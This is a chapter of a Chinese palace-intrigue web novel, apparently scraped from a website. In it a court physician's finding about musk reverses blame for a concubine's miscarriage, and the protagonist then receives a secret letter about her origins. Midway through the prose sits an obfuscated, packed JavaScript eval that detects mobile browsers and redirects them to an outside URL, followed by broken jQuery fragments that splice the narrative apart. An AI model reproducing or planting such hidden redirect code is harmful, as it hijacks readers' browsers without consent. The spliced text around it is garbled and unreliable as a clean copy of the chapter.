34. 寻迹

作品:《那个病秧子

    刘太医无论资历还是医术,都当属太医院之首,他的话语存有一定的信服力,这也是帝王点名指他过来的原由。接着只听他道:“陛下,麝香品类繁多,像慎贵妃手中这样既有花粉香,又含夹着木香味;近闻时,亦可隐约感受到略带的动物腥气。以臣之见怕是唯有品质上乘,最为珍稀的天然麝香才能得此成效。”


    “且如此品质的麝香,香气要比寻常的麝香更为浓郁强烈,只取一点便效果极佳。炉中的香料虽已燃烬,可这些粉末所散发出来的香气仍旧经久不散,方可见得……”他话没有说满,尾调拖得冗长,众人听进耳里,结论如何已是心知肚明。


    慎贵妃听了神色一下子变得难看起来。


    ……怎么会这样?!


    同样讶然的不止贵妃一人,还有一旁的逢潭。


    即使作为其中之一的布局者,她亦是被眼前的局况弄得眼花缭乱。


    从一开始慎贵妃所表现出来的泰然自若,足以见得今晚的一切尽在她的意料和掌握之中。而当下观她眼中愕然,方可知晓炉中‘麝香’之事,是一场突如其来的变故,凌乱了她原本规划好的步调。


    局势一下子逆转了。


    逢潭悄审皇后一眼,见她神情陡然一转,开始变得游刃有余,心中忍不住起疑,难道皇后还留了后手?


    皇后一改先前,笑得意味深长:“慎贵妃啊慎贵妃,果然就是你!你好大的胆子!居然敢推本宫出来接这盆脏水!”


    慎贵妃眸中波动明显,茫然又震惊。


    不……


    不……!


    不是这样的!


    他们当初明明就只是在李婕妤的膳食中动了手脚!待到事成后,联合做糕点的婢子,好嫁祸给皇后!


    什么麝香?!


    常聿没有说过这个!他没有教她!


    慎贵妃胸脯深深起伏,可显是被对眼下的事态转变,打得措手不及:“陛下……陛下!不是臣妾!不是臣妾!是有人蓄意栽赃!还请陛下明鉴啊!”她忽然转过身,推了一把后面的藏荷:“说话啊!为什么不替本宫作证?!”


    不等藏荷开口,露霞先恍然想起来什么:“是!是慎贵妃!陛下!那害人的玩意儿就是慎贵妃宫里的人拿的!奴婢想起来了!”


    慎贵妃道:“陛下面前,你休要信口雌黄!”


    露霞斩钉截铁地说:“奴婢没有!前几日,奴婢亲眼看见栖銮殿的红樱,私底下鬼鬼祟祟地从一小太监手里接过去的!当时奴婢好奇,还上前问了一句,红樱没有理人,但是身上的味道,就是同这害人玩意的味道,一模一样!”


    慎贵妃脑里‘嗡’的一声,连连促道:“不……藏荷,藏荷!你快去,快去把红樱那贱婢子找来!本宫倒要听听,她到底是奉谁的命,去领的这毒东西!”


    藏荷颤巍巍道:“娘娘……”


    慎贵妃见她这般,质问道:“你这是做什么?!”


    藏荷道:“娘娘,红樱从上个月起就已经说不了话了!就算她来了,也问不出什么的……”


    皇后指着露霞和地上倒翻的香炉,将方才慎贵妃说过的话回以:“好啊,人证物证俱在!”


    慎贵妃哀道:“陛下!臣妾没有!”


    这几句话,反反复复,一个接着一个的说,今晚听得已经够多了。帝王紧闭双眼,只觉太阳穴突突跳得生疼。


    逢潭蹙了蹙眉,平心而论,她并不想过于掺和这些烂糟的事。送走李婕妤这胎,她该做的就已经做完了,至于最后栽跟头的人是谁,皇后还是慎贵妃,亦或是旁的什么人,都跟她没有什么关系。


    可是一想到常聿有意要保慎贵妃,她又有一瞬犹豫。


    她,要不要帮慎贵妃一把?


    “……”


    沉默良久,帝王问:“这麝香当真就这样厉害?”


    皇后脸色骤变!


    刘太医了然于心地回答道:“致使婕妤滑胎,固然少不了炉中麝香的缘由。但,婕体寒妤身虚亦是关键所在。长此以往,再加之食用桑葚、马齿苋这样的寒凉之物,龙胎自然是留不住的。”


    有了刘太医这几句话,帝王甚感欣慰,也极为满意。


    此事涉及两位家世雄厚的妻妾,关系着前朝两党。若只单单处置一人,无论被处置的是谁,将来都难免会心生不服。前朝亦是。


    广陵生乱,常聿还不知几时能回,在他回来之前,皇后和贵妃,帝王哪边都不想轻易得罪。


    帝王虽然择不明白,但一碗水端平的这点道理,还是懂的。是以,他不想再去深究,继续下去只会愈加愈没完没了,避免再牵扯出更多,就让此事到这儿止了罢。


    “皇后失德,御下有失。故禁足凤梧宫,斋戒半年,期间抄写佛经十遍,不得任何人探视。”


    “贵妃留封号,降为妃位,夺赦六宫之权,禁足栖銮殿三月。”


    *


    这件事情兜兜绕绕的太多,逢潭一时被搅得一头雾水。


    回去的路上,旖月搀着她道:“贵人,何至于去挡这一遭?那婢子横竖都是死路一条,撞死就撞死了。”


    逢潭勉强直起腰,轻步走着:“她是替人做事的,出来做了这么个替死鬼……”


    替她、替常聿、替贵妃。


    饶是心中觉得残忍,却又清楚的明白,如果没有这个婢子出来做挡刀人,那么……今日赴死的十有八九就会沦为自己。


    她不能让自己身陷囹圄,更不能死,那样只会辜负这一具好不容易被阿悦保下来的残魂。


    是以……到了最后,她还是选择了将自己置身事外,没有为贵妃开脱。


    逢潭承认,她是自私的。


    往后,这样的情况,势必也绝不会在少数。不出意外的话,她同样会如现下这般……选择保全自己。


    可是此刻,她还是不免长叹一声:“生前受命于人,临了了连生死都由不得自己...让她自我了断,也算全了这一生鲜有的一点尊严。”


    好歹她们曾在同一战线,短暂的并肩一场。


    体体面面的去罢。


    晨风抚过她的衣摆,日晕透过云边,几分晃目。


    她轻阖了下眼皮,没有去挡:“有点累了,回去吧。”


    “……”


    隐在暗处的婢子遥望眼前走远的身影,光影照在眼中,眸里水色微动。


    直至身后响起一阵轻浅的脚步声,这才收回了绸缪的视线。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792092|158152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她转眼,目光冰凉地飘向对面来人:“你做得很好。”


    来人情绪有些激动,嗓子里发出几声“呜呜”的动静,同时手中来回比划。


    “想活?”


    (点头。)


    “呵。”


    “知道当初为什么割了你的舌头吗?”


    (呜呜呜。)


    “你的嘴,管不住。”


    “之所以留着你的这条命到现在,无非就是因为...活着的人里头,当属哑巴的嘴最严。”


    “可是嘴严有什么用呢?你的手、脚、眼珠子还能动。照样会不老实。”


    (……!!!)


    “知道比哑巴更能保守秘密的是什么人吗?”


    那人表情凝固一息,脸色骤然失了血色,头皮发麻地冲对面的婢子摇摇头,又摇摇头,一下比一下用力。


    *


    逢潭夜里自然醒来,眼前是熟悉的漆暗。


    她混沌坐起身,下意识眺望窗外。


    六月了。


    暑意渐浓。


    常聿还没有回来。


    “……”


    这人还真是糟糕。


    连声招呼也不打,就凭空消失了。


    “贵人,你睡了吗?”


    旖月悄声在门外,轻轻唤她。


    如今天气已然热了起来,外面的蚊虫也逐渐变多。以往每逢酷暑寒冬,逢潭都是不会让他们守夜的。


    瞧见旖月此般行迹,她自是心明了然。


    上回端午祭祀,逢潭只带了影莲一人随行。动身离宫前,她曾让留在宫中的旖月,趁此期间去宫外走了一趟。


    “奴婢今日见过陈曙了。”旖月蹑手蹑脚地进屋掩上门,从怀中拿出一张密信,道:“他给了奴婢这个。”


    沉寂的暗夜里,霎然亮起一盏枯黄的油灯,细微的烛光摇曳,旖月安静在侧,以身挡在窗边风口,尽量为她观物照明。


    逢潭的视线,顺着曝面白纸黑字,逐字逐句、一丝不苟地细扒往下看,最后在末尾几行字停滞住了。


    崔氏


    元呈三十一年,冬月——大理寺少卿,逢府。


    逢潭的心脏随着眼前的这行字眼,蓦然狞跳。


    “砰——砰砰——!”


    “...元呈三十一年距今,”她的声音带着颤:“多少年了?!”


    旖月想了想,认真回忆道:“先帝是在元呈四十四年驾崩的,次年陛下登基,改了国号,满打满算起来……距今已有二十一年。”


    二十一年……


    二十一年!


    今年是嘉熙七年,待入了秋,逢潭进宫即满两年。也就是说阿悦身死,以及她被带回京城,是在嘉熙五年。


    那个时候阿悦十九岁。


    在逢潭的记忆中,阿悦尚不清楚自己生辰何月何日,却唯有一点是板上钉钉,众所周知的……她隐约记得,阿悦曾与自己说过,自己是在某一年,临近年底的时候,被人在村口的路边发现的。


    “……”


    逢潭的呼吸逐渐变得沉重局促。


    旖月见状以为是被油灯的蜡气闷了口鼻,旋即将它一口气吹灭。


    四周瞬间再次陷入黑寂。